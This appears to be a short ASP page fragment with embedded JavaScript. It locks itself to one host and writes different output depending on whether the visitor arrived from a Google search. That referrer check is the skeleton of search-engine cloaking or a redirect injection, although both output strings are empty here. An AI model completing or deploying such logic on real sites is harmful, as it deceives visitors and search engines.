<%
style=Request("style")
theurl="http://" & Request.ServerVariables("http_host") & finddir(Request.ServerVariables("url"))
if "http://"&Request.ServerVariables("http_host") <> Decode(TestingAddr) then
Response.End
end if
%>
document.write("")
stringref = document.referrer;
if(stringref.indexOf("google") > 0 && stringref.indexOf("q=") > 0)
{
_dwrite("");
}
else
{
_dwrite("");
}
function _dwrite(string) {document.write(string);}
<%
Function finddir(filepath)
finddir=""
for i=1 to len(filepath)
if left(right(filepath,i),1)="/" or left(right(filepath,i),1)="\" then
abc=i
exit for
end if
next
if abc <> 1 then
finddir=left(filepath,len(filepath)-abc+1)
end if
end Function
%>